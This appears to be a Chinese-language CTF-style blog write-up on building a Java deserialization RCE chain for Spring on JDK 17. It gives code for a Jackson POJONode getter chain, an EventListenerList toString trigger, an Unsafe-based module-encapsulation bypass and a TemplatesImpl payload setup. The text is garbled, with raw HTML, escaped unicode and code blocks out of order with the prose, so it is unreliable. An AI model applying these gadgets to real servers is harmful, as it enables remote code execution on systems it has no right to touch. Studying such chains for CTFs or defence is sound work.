![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-153342-21-1.png\")
<\/div><\/figure>\n\n\n\n\u73af\u5883\u642d\u5efa<\/h1>\n\n\n\n
\u8d77\u4e00\u4e2ajdk17\u7684maven\u73af\u5883\uff1a<\/p>\n\n\n\n \u5728pom.xml\u91cc\u52a0\u5165spring\u4f9d\u8d56<\/p>\n\n\n\n \u5728\u5f88\u591a\u5e74\u524d\u5199java\u7b14\u8bb0<\/a>\u7684\u65f6\u5019\u63d0\u5230\u8fc7jackson\u53cd\u5e8f\u5217\u5316\u94fe\uff0c\u5c31\u662f\u7ecf\u5178\u7684aliyunctf Bypassit\uff0c\u5f53\u65f6\u6bd4\u8d5b\u7684\u65f6\u5019\u5c31\u662f\u9700\u8981\u627e\u5230\u4e00\u6761spring\u7684\u539f\u751f\u53cd\u5e8f\u5217\u5316\u94fe\u5b50\uff0c\u5229\u7528\u7684\u5c31\u662fspring\u91cc\u81ea\u5e26\u7684jackson\u3002<\/p>\n\n\n\n \u5f53\u65f6\u7684\u6253\u6cd5\u662f\uff0c\u7531\u4e8e\u5728jackson\u4e2d \u53ea\u4e0d\u8fc7\u5728JDK17\u91cc \u8fd9\u91cc\u6211\u4eec\u9700\u8981\u9009\u62e9\u4e00\u4e2a\u65b0\u7684\u5165\u53e3\uff1a \u4ece JDK 9<\/strong> \u5f00\u59cb\uff0cJava \u5f15\u5165\u4e86 JPMS\uff08Java Platform Module System\uff0c\u6a21\u5757\u7cfb\u7edf\uff09<\/strong>\uff0c\u4e5f\u5c31\u662f\u8457\u540d\u7684 Project Jigsaw<\/em>\u3002\u5728 JDK 17 \u91cc\uff0c\u8fd9\u4e00\u673a\u5236\u5df2\u7ecf\u88ab\u5b8c\u5168\u5f3a\u5316\uff0c\u5177\u4f53\u4f53\u73b0\u4e3a\uff1a<\/p>\n\n\n\n \u56e0\u6b64\uff0cjdk17 \u4f1a\u8fdb\u884c\u6a21\u5757\u68c0\u6d4b\u5bfc\u81f4\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u5229\u7528 \u90a3\u4e48\u73b0\u5728\u6700\u5173\u952e\u7684\u95ee\u9898\uff0c\u5c31\u662f\u5982\u4f55\u5728jdk17\u4e4b\u4e2d\u5229\u7528 \u5728\u8fd9\u91cc\u9700\u8981\u6ce8\u610f\u4e00\u4e2a\u5f88\u91cd\u8981\u7684\u70b9\uff0c\u5728\u4ee5\u5f80\u6211\u4eec\u5229\u7528 \u5176\u5b9e\u5f88\u65e9\u4e4b\u524d\u5c31\u6709\u5e08\u5085\u7684\u6587\u7ae0\u63d0\u5230\u8fc7\uff0c\u6211\u4eec\u5229\u7528\u7684\u7c7b\u5176\u5b9e\u662f\u4e0d\u4e00\u5b9a\u9700\u8981\u7ee7\u627f ![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-154047-21-2.png\")
<\/div><\/figure>\n\n\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<project xmlns=\"http:\/\/maven.apache.org\/POM\/4.0.0\"
xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\"
xsi:schemaLocation=\"http:\/\/maven.apache.org\/POM\/4.0.0 http:\/\/maven.apache.org\/xsd\/maven-4.0.0.xsd\">
<modelVersion>4.0.0<\/modelVersion>
\u200b
<groupId>com.suctf<\/groupId>
<artifactId>Spring<\/artifactId>
<version>1.0-SNAPSHOT<\/version>
\u200b
<properties>
<maven.compiler.source>17<\/maven.compiler.source>
<maven.compiler.target>17<\/maven.compiler.target>
<project.build.sourceEncoding>UTF-8<\/project.build.sourceEncoding>
<\/properties>
\u200b
<dependencies>
<dependency>
<groupId>org.springframework.boot<\/groupId>
<artifactId>spring-boot-starter-web<\/artifactId>
<version>3.5.4<\/version>
<\/dependency>
\u200b
<dependency>
<groupId>org.javassist<\/groupId>
<artifactId>javassist<\/artifactId>
<version>3.30.2-GA<\/version>
<\/dependency>
<\/dependencies>
<\/project><\/pre>\n\n\n\n\u6f0f\u6d1e\u5206\u6790<\/h1>\n\n\n\n
POJONode#toString<\/code> \u65b9\u6cd5\u53ef\u4ee5\u8c03\u7528getter\u65b9\u6cd5\uff0c\u6240\u4ee5\u6211\u4eec\u53ef\u4ee5\u5229\u7528getter\u8c03 getOutputProperties<\/code> \u4ee5\u6b64\u5b9e\u73b0RCE\uff0c\u7136\u540e\u518d\u627e\u4e2a\u5730\u65b9\u53bb\u89e6\u53d1 POJONode#toString<\/code> \uff0c\u5f53\u65f6\u5229\u7528\u7684\u662f BadAttributeValueExpException#readObject<\/code>\uff0c\u8fd9\u662f\u4e00\u4e2a\u539f\u751f\u7c7b\uff0c\u5728readObject<\/code>\u7684\u65f6\u5019\u5c31\u89e6\u53d1\u4e86 toString<\/code> \uff1a<\/p>\n\n\n\n![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025%2F05%2FQQ20250504-213249-4-17.png\")
<\/div><\/figure>\n\n\n\nBadAttributeValueExpException<\/code>\u5229\u7528\u4e0d\u4e86\u4e86\uff0c\u6ca1\u6709\u89e6\u53d1toString<\/code>\u7684\u70b9\u4e86\uff1a<\/p>\n\n\n\n![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-202743-21-5.png\")
<\/div><\/figure>\n\n\n\nEventListenerList#readObject<\/code>\uff0c\u53ef\u4ee5\u53c2\u8003\u8fd9\u4e2a\u5e08\u5085\u7684\u6587\u7ae0\uff1aEventListenerList\u89e6\u53d1\u4efb\u610ftoString<\/a>\uff0c\u5229\u7528\u5b57\u7b26\u4e32\u4e0e\u5bf9\u8c61\u7684\u62fc\u63a5\u89e6\u53d1toString<\/code>\uff1a<\/p>\n\n\n\n public static EventListenerList getEventListenerList(Object obj) throws Exception{
EventListenerList list = new EventListenerList();
UndoManager undomanager = new UndoManager();
\u200b
\/\/\u53d6\u51faUndoManager\u7c7b\u7684\u7236\u7c7bCompoundEdit\u7c7b\u7684edits\u5c5e\u6027\u91cc\u7684vector\u5bf9\u8c61\uff0c\u5e76\u628a\u9700\u8981\u89e6\u53d1toString\u7684\u7c7badd\u8fdb\u53bb\u3002
Vector vector = (Vector) getFieldValue(undomanager, \"edits\");
vector.add(obj);
\u200b
setFieldValue(list, \"listenerList\", new Object[]{Class.class, undomanager});
return list;
}<\/pre>\n\n\n\n\n
import com.sun.*<\/code> \u6216\u8005 sun.*<\/code> \u7684\u5185\u90e8\u7c7b\uff0c\u4f46\u5728 JDK 17\uff0c\u8fd9\u4e9b\u7c7b\u5df2\u7ecf\u88ab\u6a21\u5757\u7cfb\u7edf\u5f3a\u5c01\u88c5\uff0c\u9ed8\u8ba4\u4e0d\u53ef\u8bbf\u95ee\u3002<\/li>\n\n\n\nmodule-info.java<\/code> \u63cf\u8ff0\uff0c\u5982\u679c\u67d0\u4e2a\u5305\u6ca1\u6709\u88ab exports<\/code>\uff0c\u5916\u90e8\u6a21\u5757\u5c31\u65e0\u6cd5\u76f4\u63a5\u8bbf\u95ee\u3002<\/li>\n\n\n\nsetAccessible(true)<\/code> \u7ed5\u8fc7 private<\/code> \u9650\u5236\uff0c\u53cd\u5c04\u8bbf\u95ee\u7c7b\u7684\u79c1\u6709\u5b57\u6bb5\u6216\u6784\u9020\u51fd\u6570\u3002\u4f46\u5728 JDK 17 \u91cc\uff0c\u5373\u4f7f\u4f60\u7528 setAccessible(true)<\/code>\uff0c\u4e5f\u4f1a\u88ab InaccessibleObjectException<\/code> \u62e6\u4f4f\uff0c\u9664\u975e\u4f60\u5728 JVM \u542f\u52a8\u65f6\u624b\u52a8\u52a0 --add-opens<\/code> \u53c2\u6570\u5f00\u653e\u6a21\u5757\u6216\u8005\u4f7f\u7528 Java Agent\/Instrumentation \u6765\u6253\u7834\u5c01\u88c5\u3002<\/li>\n<\/ul>\n\n\n\ngetOutputProperties<\/code> \u3002<\/p>\n\n\n\ngetOutputProperties<\/code> ,\u957f\u671f\u4ee5\u6765\uff0c\u7f51\u4e0a\u7684\u5404\u79cd\u6587\u7ae0\u90fd\u63d0\u5230\u9ad8\u7248\u672c\u4e0b\u5229\u7528getOutputProperties<\/code> \u662f\u4e0d\u53ef\u80fd\u7684\u3002\u5728\u5927B\u54e5\u7684\u535a\u5ba2<\/a>\u91cc\uff0c\u6211\u627e\u5230\u4e86\u5927\u4f19\u4ee5\u5f80\u662f\u600e\u4e48\u5728JDK17\u7ed5\u6a21\u5757\u5316\u7684\uff0c\u6838\u5fc3\u5c31\u662f\u5229\u7528 Unsafe<\/code> \u7be1\u6539 Module<\/code> \u673a\u5236\uff0c\u4ece\u800c\u7ed5\u8fc7 JDK \u7684\u5f3a\u5c01\u88c5\uff08\u6a21\u5757\u8bbf\u95ee\u9650\u5236\uff09\uff1a<\/p>\n\n\n\nprivate static Method getMethod(Class clazz, String methodName, Class[]
params) {
Method method = null;
while (clazz!=null){
try {
method = clazz.getDeclaredMethod(methodName,params);
break;
}catch (NoSuchMethodException e){
clazz = clazz.getSuperclass();
}
}
return method;
}
private static Unsafe getUnsafe() {
Unsafe unsafe = null;
try {
Field field = Unsafe.class.getDeclaredField(\"theUnsafe\");
field.setAccessible(true);
unsafe = (Unsafe) field.get(null);
} catch (Exception e) {
throw new AssertionError(e);
}
return unsafe;
}
public void bypassModule(ArrayList<Class> classes){
try {
Unsafe unsafe = getUnsafe();
Class currentClass = this.getClass();
try {
Method getModuleMethod = getMethod(Class.class, \"getModule\", new
Class[0]);
if (getModuleMethod != null) {
for (Class aClass : classes) {
Object targetModule = getModuleMethod.invoke(aClass, new
Object[]{});
unsafe.getAndSetObject(currentClass,
unsafe.objectFieldOffset(Class.class.getDeclaredField(\"module\")), targetModule);
}
}
}catch (Exception e) {
}
}catch (Exception e){
e.printStackTrace();
}
}<\/pre>\n\n\n\nTemplatesImpl<\/code> \u7684\u65f6\u5019\uff0c\u88ab\u5229\u7528\u7684\u76ee\u6807\u90fd\u9700\u8981\u7ee7\u627f AbstractTranslet<\/code> \uff0c\u4f46\u5728\u9ad8\u7248\u672c\u4e0b\u80af\u5b9a\u662f\u4e0d\u884c\u7684\uff0c\u56e0\u4e3a\u5fc5\u7136\u6d89\u53ca\u5230\u6a21\u5757\u5316\u7684\u68c0\u6d4b\u5bfc\u81f4\u62a5\u9519\uff1a<\/p>\n\n\n\n![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-214605-21-6.png\")
<\/div><\/figure>\n\n\n\nAbstractTranslet<\/code> \u7c7b\u7684\uff1aTemplatesImpl \u5206\u6790<\/a>\uff0c\u6784\u9020\u65b9\u6cd5\u5982\u4e0b\uff1a<\/p>\n\n\n\n TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, \"_name\", \"xxx\");
setFieldValue(templates, \"_bytecodes\", new byte[][]{code1, code2});
setFieldValue(templates,\"_transletIndex\",0);<\/pre>\n\n\n\n
![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-202153-21-3.png\")
<\/div><\/figure>\n\n\n\n![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-202502--21-4.png\")
<\/div><\/figure>\n\n\n\n![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-215025-21-7.png\")
<\/div><\/figure>\n\n\n\n![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-215106-21-8.png\")
<\/div><\/figure>\n\n\n\n![\"img\"\/](\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2025\/08\/QQ20250821-215307-21-9.png\")
<\/div><\/figure>\n\n\n\n